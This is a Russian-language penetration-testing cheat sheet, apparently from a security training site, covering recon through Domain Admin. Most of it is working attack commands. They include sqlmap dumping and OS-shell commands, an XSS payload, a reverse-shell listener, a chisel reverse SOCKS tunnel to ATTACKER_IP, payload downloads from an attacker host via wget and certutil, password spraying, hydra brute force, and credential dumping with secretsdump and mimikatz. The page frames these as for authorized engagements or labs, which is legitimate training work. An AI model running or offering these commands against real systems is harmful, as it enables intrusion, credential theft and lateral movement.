← ZavetSec Library
ZavetSec // Offensive Arsenal

БОЕВОЙ СПРАВОЧНИК ПЕНТЕСТЕРА

Практический cheat-sheet с командами по всей kill-chain: от рекона до Domain Admin. Это рабочая шпаргалка, а не учебник — каждую команду понимай до флага, прежде чем запускать. Команды приведены для лабы/авторизованного scope. Цели в примерах (10.10.10.x, target.local, dc01) — плейсхолдеры, подставляй свои.

ФОРМАТ: COMMAND REFERENCE СЕКЦИЙ: 10 ОС: KALI / PARROT SCOPE: AUTHORIZED ONLY
// 00

Лаба и подготовкаFoundation

Только авторизованный scope или своя изолированная лаба. Всё ниже — для подписанного RoE/договора либо для собственного полигона в отдельной сети. Скан чужой инфраструктуры без разрешения — ст. 272 УК.

Базовый тулинг (Kali уже содержит большинство)

# pipx-инструменты, которых может не быть из коробки
pipx install impacket
pipx install git+https://github.com/Pennyw0rth/NetExec   # современный форк CrackMapExec
pipx install certipy-ad
pipx install bloodyAD

# Go-тулинг для рекона (ProjectDiscovery)
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/ffuf/ffuf/v2@latest

# Wordlists
sudo apt install seclists      # /usr/share/seclists
# rockyou: /usr/share/wordlists/rockyou.txt.gz -> gunzip

Уязвимый AD-домен для отработки (GOAD)

Game of Active Directory — готовая лаба с реальными мисконфигами. Лучший способ прокачать раздел 03.

git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
# разворачивается через Vagrant+Ansible (VirtualBox/VMware/Proxmox)
./goad.sh -t install -l GOAD -p virtualbox
Рабочая директория. Заведи на каждую цель папку со структурой scope/ recon/ loot/ notes.md. Логируй всё: script -a session.log в начале сессии. Личная база заметок (Obsidian/CherryTree) — главный долгосрочный актив специалиста.
// 01

Recon и энумерацияCore

90% результата — в энумерации. Чем тщательнее карта поверхности атаки, тем меньше «угадывания» дальше. Правило: enumerate, then enumerate again.

Nmap — порты и сервисы

# Быстрый первичный скан всех TCP-портов
nmap -p- --min-rate 5000 -T4 10.10.10.10 -oN ports.txt

# Детальный скан только открытых портов (версии + дефолтные скрипты)
nmap -p22,80,445,3389 -sC -sV -A 10.10.10.10 -oN detailed.txt

# UDP-топ (медленно, но SNMP/DNS/TFTP часто тут)
sudo nmap -sU --top-ports 50 10.10.10.10

# Прицельные NSE-скрипты (пример: SMB-уязвимости)
nmap -p445 --script smb-vuln-* 10.10.10.10

SMB / NFS / RPC

# Сводка по SMB-хосту, шарам, сессиям
nxc smb 10.10.10.10 -u '' -p '' --shares          # null-сессия
nxc smb 10.10.10.10 -u guest -p '' --shares
smbclient -L //10.10.10.10/ -N
smbclient //10.10.10.10/share -N

# Рекурсивный обход + скачивание шары
smbmap -H 10.10.10.10 -u guest
# NFS
showmount -e 10.10.10.10

Web — поддомены, директории, технологии

# Поддомены (пассивно) -> живые хосты -> технологии
subfinder -d target.com -silent | httpx -silent -title -tech-detect -status-code

# Фаззинг директорий и файлов
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,401,403

# Фаззинг виртуальных хостов (vhost)
ffuf -u http://10.10.10.10/ -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0

# Сканер шаблонных уязвимостей
nuclei -u http://10.10.10.10 -severity medium,high,critical
Параметр -fs / -fc / -fw в ffuf отсекает мусор по размеру/коду/числу слов ответа. Сначала запусти без фильтра, посмотри «фон», потом фильтруй базовый размер. Логика та же, что и отсечение false positive в детект-правилах.
// 02

Web-эксплуатацияCore

Инструмент Burp Suite — основной хаб (proxy → repeater → intruder). Ниже — CLI-помощники и проверки. Глубокая отработка: PortSwigger Web Security Academy (бесплатно, обязательно).

SQL-инъекции

# Авто-проверка параметра (сохрани запрос из Burp в req.txt)
sqlmap -r req.txt --batch --level 3 --risk 2

# Перечисление БД -> таблиц -> дамп
sqlmap -r req.txt --dbs
sqlmap -r req.txt -D app_db --tables
sqlmap -r req.txt -D app_db -T users --dump

# Попытка получить шелл / чтение файла (если права позволяют)
sqlmap -r req.txt --os-shell
sqlmap -r req.txt --file-read=/etc/passwd

Ручное понимание важнее: UNION-based, error-based, boolean/time-based blind. Учись определять тип по поведению ответа, а не только гонять sqlmap.

Типовые web-уязвимости — что проверять

КлассПризнак / векторБазовая проверка
XSSОтражение ввода в HTML/JS"><svg onload=alert(1)> в полях/параметрах
IDOR / BOLAИдентификаторы в URL/телеМенять id=1001 на чужой, проверять доступ
SSRFПараметр с URL/хостомУказать http://169.254.169.254/ (cloud metadata)
LFIПараметр с путём/файлом../../../../etc/passwd, php-обёртки
XXEПриём XMLExternal entity на file:// или SSRF
UploadЗагрузка файловОбход фильтра расширения/MIME -> webshell
DeserializationСериализованные объекты (cookie/param)ysoserial (Java) / phpggc (PHP)
JWTBearer-токеныalg:none, слабый секрет -> hashcat mode 16500

Reverse shell после RCE

Когда получил исполнение команд — нужен интерактивный доступ. Слушатель на своей машине, нагрузка на цели. Генератор синтаксиса под язык/ОС: revshells.com.

# Слушатель на атакующей машине
nc -lvnp 4444           # или rlwrap nc -lvnp 4444 для истории команд

# Стабилизация полученного шелла (Linux)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z, затем:  stty raw -echo; fg
export TERM=xterm
// 04

Privilege EscalationAdvanced

Получил низкоприв доступ — теперь до root/SYSTEM. Сначала автоэнумерация, потом ручной разбор находок. Не запускай эксплойт, не поняв, что он делает.

Linux privesc

# Автоэнумерация
./linpeas.sh | tee linpeas.out

# Ручные базовые проверки
sudo -l                              # что можно от рута без пароля
find / -perm -4000 -type f 2>/dev/null   # SUID-бинарники
getcap -r / 2>/dev/null               # capabilities
crontab -l; cat /etc/crontab          # cron-задачи

# Любой найденный бинарь -> проверить вектор эксплуатации:
#   GTFOBins (gtfobins.github.io) -- готовые техники для sudo/SUID/capabilities

Windows privesc

# Автоэнумерация
.\winPEASany.exe
# PowerShell-набор
powershell -ep bypass; Import-Module .\PowerUp.ps1; Invoke-AllChecks

# Ручные проверки
whoami /priv                          # токен-привилегии (Se*Privilege)
systeminfo                            # патчи -> поиск missing KB

# Частые векторы:
#   SeImpersonate/SeAssignPrimaryToken -> Potato-техники (token impersonation)
#   Unquoted service path / слабые ACL службы / DLL hijack
#   AlwaysInstallElevated, хранимые креды (cmdkey /list, реестр autologon)
Сравнение с базой LOLBAS. Перед «громким» эксплойтом проверь, нельзя ли повысить привилегии легитимными бинарями системы (lolbas-project.github.io / GTFOBins для Linux). Тише и реалистичнее для red team.
// 05

Pivoting и туннелиAdvanced

Скомпрометированный хост — мост во внутреннюю сеть, недоступную напрямую. Цель: добраться до сегментов за первой машиной.

ligolo-ng (современный, удобный)

# На атакующей машине (proxy/сервер):
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

# На цели (agent) запускаешь клиент -> в консоли proxy:
session            # выбрать агента
start              # поднять туннель
# затем добавляешь маршрут в внутреннюю подсеть на своей машине:
sudo ip route add 192.168.50.0/24 dev ligolo

chisel + proxychains (классика)

# Атакующая машина (сервер):
./chisel server -p 8000 --reverse

# Цель (клиент) поднимает reverse SOCKS:
./chisel client ATTACKER_IP:8000 R:1080:socks

# Маршрутизируем инструменты через SOCKS:
# /etc/proxychains4.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 192.168.50.10
proxychains nxc smb 192.168.50.0/24 -u user -p pass
ЗадачаИнструментЗаметка
Полный pivot + маршрутligolo-ngСамый удобный, без proxychains
Reverse SOCKSchiselОдин бинарь, кроссплатформенно
Если есть SSH-доступssh -D / -L / -R, sshuttleНативно, тихо
Проброс портаsocatБыстрый ad-hoc relay
// 06

Пароли и хэшиCore

Hashcat — определение и взлом

# Определить тип хэша
hashid '$2y$10$...'           # или name-that-hash

# Брут по словарю (-m = режим, см. таблицу)
hashcat -m 0 hashes.txt rockyou.txt                 # MD5
hashcat -m 1000 hashes.txt rockyou.txt              # NTLM

# Словарь + правила (резко повышает покрытие)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Маска (если известен паттерн пароля)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d!'
Хэшhashcat -mГде встречается
NTLM1000Windows local/domain (SAM, NTDS)
Kerberos TGS13100Kerberoasting
Kerberos AS-REP18200AS-REP roasting
NetNTLMv25600Responder / relay
bcrypt3200web-приложения
JWT (HS256)16500токены сессий

Онлайн-брут сервисов (осторожно — шумно/лок-аут)

# SSH / FTP / прочее
hydra -l admin -P rockyou.txt ssh://10.10.10.10

# Password spraying (один пароль на много юзеров -- обходит лок-аут)
nxc smb 10.10.10.10 -u users.txt -p 'Summer2025!' --continue-on-success
Лок-аут аккаунтов. Онлайн-брут может заблокировать учётки и сорвать заказ. Сначала узнай pass-policy (--pass-pol), используй spraying с задержкой, держись внутри порога. На реальном проекте это согласуется отдельно.
// 07

Post-Ex / C2 / EvasionElite

Почему здесь нет готовых loader'ов и AMSI-байпасов. Рабочий код обхода защит имеет смысл только под конкретный EDR/версию/цель и быстро детектится в публичном виде. Умение писать его под цель — это и есть навык фазы Elite, который ставится на курсах с лабой (CRTO/OSEP), а не копипастой. Ниже — карта направления, тулчейн и куда идти учиться предметно.

C2-фреймворки (изучать на своей лабе)

C2ПрофильЗаметка
SliverOpen-source, GoЛучший бесплатный вход в C2, активно развивается
HavocOpen-sourceСовременный, гибкий профиль
MythicМодульный, агенты под разные ОСГибкая платформа для команд
Cobalt StrikeКоммерческий стандарт red teamИзучается на CRTO; в проде — по лицензии

Направления evasion (концептуально)

Поверхность детектаКласс обходаЧто изучать
AMSI (скан скриптов)обход in-memory сканеракак работает AMSI и точки его перехвата
ETW (телеметрия)снижение/обход телеметриичто и куда пишет ETW, что видит EDR
EDR user-land хукиunhooking / прямые syscallsмеханика inline-хуков NTDLL
Сигнатуры файловобфускация / упаковкапочему статика ловит, чем меряется энтропия
Поведенческий детектLOLBAS / fileless / OPSEC C2jitter, sleep, redirectors, named pipes
Здесь опыт защиты окупается максимально. Понимание того, как EDR и SIEM строят детект, резко ускоряет освоение evasion. Изучай его парой: сначала пойми правило детекта, потом разбери, какой класс обхода его обходит, потом — что в логе остаётся всё равно. Так растёшь и как атакующий, и как архитектор защиты.

Персистентность и сбор (на лабе / в scope)

# Сбор кред-материала после захвата хоста (авторизованно!)
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
mimikatz # sekurlsa::logonpasswords     # из памяти LSASS (на лабе)

# Векторы персистентности (для red team-сценария, не на проде без согласования):
#   scheduled task / run-key / service / WMI event subscription
#   -- ровно то, что детектят DFIR-инструменты по EVTX. Замкни круг.
Персистентность и деструктив на реальном проекте — только при явном согласовании. Любые изменения, которые переживают сессию, фиксируются и удаляются после теста. В отчёт — отдельным пунктом cleanup.
// 08

Быстрые шпаргалки

Передача файлов на цель

# На атакующей машине -- поднять HTTP-сервер
python3 -m http.server 80

# Linux-цель
wget http://ATTACKER/linpeas.sh -O /tmp/lp.sh; curl ... -o ...

# Windows-цель
certutil -urlcache -f http://ATTACKER/nc.exe nc.exe
powershell "iwr http://ATTACKER/winpeas.exe -o wp.exe"

# SMB-сервер (удобно для Windows)
impacket-smbserver share . -smb2support

Спавн TTY (полноценный шелл)

python3 -c 'import pty;pty.spawn("/bin/bash")'
# затем: Ctrl+Z -> stty raw -echo; fg -> Enter -> export TERM=xterm
# альтернативы: script /dev/null -qc /bin/bash ; socat (полный pty)

Минимальный порядок действий на хосте

#ШагЗачем
1Полный скан портов -> детальный по открытымкарта поверхности
2Энумерация каждого сервиса по отдельностинайти вход
3Initial foothold (web/служба/креды)первый доступ
4Стабилизировать шелл, осмотретьсяне потерять доступ
5Local privesc (PEAS -> ручной разбор)root/SYSTEM
6Сбор кред-материала, поиск pivotдвижение дальше
7Логировать всё с самого началаотчёт = продукт
// 09

Отчёт и методология

Заказчик платит за отчёт, а не за рут. Умение писать чёткие формальные документы — недооценённое преимущество: многие технари ломать умеют, а внятно описать находки — нет.

# Структура отчёта пентеста
1. Executive Summary   -- для руководства, без жаргона, бизнес-риск
2. Scope & Methodology -- что тестировали, по какому стандарту (PTES/OWASP)
3. Findings            -- каждая: описание, severity (CVSS), PoC, воспроизведение
4. Attack Narrative    -- хронология цепочки атаки (kill chain)
5. Remediation         -- конкретные шаги починки, приоритизация
6. Appendices          -- сырые данные, команды, артефакты, cleanup-лог
СтандартНазначение
PTES7 фаз процесса пентеста — от pre-engagement до отчёта
OWASP WSTGчек-лист тестирования web-приложений
MITRE ATT&CKматрица TTP — мапить находки на тактики/техники
CVSS 3.1 / 4.0оценка severity + бизнес-контекст для приоритета
NIST 800-115техническое руководство по security assessment
Финальный принцип. Каждый раз, ломая что-то на лабе, держи в голове две колонки: «как это сделано» и «что увидел бы SOC». Первая делает специалиста пентестером, вторая — гуру, к которому идут и red, и blue.